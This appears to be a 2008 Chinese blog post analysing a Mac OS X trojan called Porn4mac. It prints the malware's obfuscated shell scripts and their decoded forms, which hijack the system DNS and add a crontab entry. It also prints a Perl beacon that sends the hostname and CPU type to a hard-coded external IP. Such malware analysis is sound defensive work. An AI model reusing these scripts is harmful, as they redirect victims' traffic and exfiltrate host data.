2008年7月24日星期四

对Mac OS X上的一个木马Porn4mac的简单分析

这是今年早些时候一些国外安全公司炒作的所谓“Mac OS X上第一个木马病毒”。
该木马的主要传播方式为一个很小的dmg文件,其中包含一个安装程序install.pkg。包内容如下:

分析了一下
这个东西是个修改DNS的木马小程序,主要部分是三个脚本,两个sh脚本,一个perl脚本
第一个文件:plugins.settings
#!/bin/sh
x=`cat $0 |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x $0 |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;sh 1 85.255.116.150 85.255.112.148; exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< kepox="`ljnfxab">/qks/fvii 2>&1" > ljnf.pfox
ljnfxab ljnf.pfox
jh -jr ljnf.pfox
rp
jh -jr $0
这是主要代码
前半段使用了tr命令进行简单的字符替换解密
解密之后的结果(得到文件 1)是
#!/bin/sh
path="/Library/Internet Plug-Ins"
PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< exist="`crontab">/dev/null 2>&1" > cron.inst
crontab cron.inst
rm -rf cron.inst
fi
rm -rf $0
这个是那个tr命令生成的1文件,再通过 sh 1 85.255.116.150 85.255.112.148 运行这个1文件,它又通过d.add ServerAddresses * $1 $2; set State:/Network/Service/$PSID/DNS 把两个参数设置为系统的DNS地址,达到破坏目的。
再看1中执行的Quicktime.xpt文件:
#!/bin/sh
x=`cat "$0" |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x "$0" |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;s1=cx.zxx.aax.xq;s2=cx.zxx.aaz.axs;sh 1 `echo $s1|tr qazwsxedcr 0123456789` `echo $s2| tr qazwsxedcr 0123456789`;exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< kepox="`ljnfxab">/qks/fvii 2>&1" > ljnf.pfox
ljnfxab ljnf.pfox
jh -jr ljnf.pfox
rp
jh -jr "$0"
又是同一种加密,不过这次把数字也给替换了。解密生成的1的代码和上面的1大同小异。
这是病毒的破坏部分:plugins.settings和QuickTime.xpt。
病毒还有一个Internet插件Mozillaplug.plugin,看上去只是为了让用户知道已装上了这个恶意软件。里面有个VerifyDownloadPlugin可执行文件,里面只有几十个字节的PPC和Intel代码(没有调试器,没法看这是干些什么),Resources里面的主.rsrc里就两个STR#资源,其中一个是:

另外一个就是两个空字节。我认为这个所谓的Internet插件就是能够保证在每次启动浏览器时就会把上面的两个主要恶意脚本运行。
另外,安装之后还会把机器的一个ID发送到某网站。这是安装PKG的postinstall脚本:
#!/bin/sh
path="/Library/Internet Plug-Ins/"
/usr/bin/perl "$path/sendreq"
rm -rf "$path/sendreq"
这里是sendreq文件的内容:
#!/usr/bin/perl
use IO::Socket;

sub encode_base64 ($;$)
{
if ($] >= 5.006) {
require bytes;
if (bytes::length($_[0]) > length($_[0]) ||
($] >= 5.008 && $_[0] =~ /[^\0-\xFF]/))
{
require Carp;
Carp::croak("The Base64 encoding is only defined for bytes");
}
}

use integer;

my $eol = $_[1];
$eol = "\n" unless defined $eol;

my $res = pack("u", $_[0]);
# Remove first character of each line, remove newlines
$res =~ s/^.//mg;
$res =~ s/\n//g;

$res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs
# fix padding at the end
my $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/'=' x $padding/e if $padding;
# break encoded string into lines of no more than 76 characters each
if (length $eol) {
$res =~ s/(.{1,76})/$1$eol/g;
}
return $res;
}



my $server="64.28.188.220";
my $cmd=`uname -p;echo ";";hostname`;
$cmd=~s/\n//g;
my $uniqid=encode_base64("mac;".$cmd);
$uniqid=~s/\n//g;
my $request="GET / HTTP/1.1\r\nAccept-Language: $uniqid\r\nHost: $server\r\n\r\n";

my $socket=IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>80,Proto=>"tcp",timeout=>10) or die();
print $socket $request;
close($socket);
我不懂PERL语言,但是能看出第一段是个base64编码的子程序,后半段也容易看出是使用perl的INET对象连接64.28.188.220的80端口,把机器的某个独一无二的ID通过base64编码后,放在HTTP头的Accept-Language段中发送到这个服务器。应当是用于感染率统计用。

这个东西的功能还是过分简单,和真正的病毒木马还是有很大区别。
这个病毒需要输入管理员密码登录root才能安装成功,因此危害并不很大。
由于我并非UNIX达人,这些脚本我连注释都没加,兴许需要达人帮助才能真正分析出来。

没有评论:

发表评论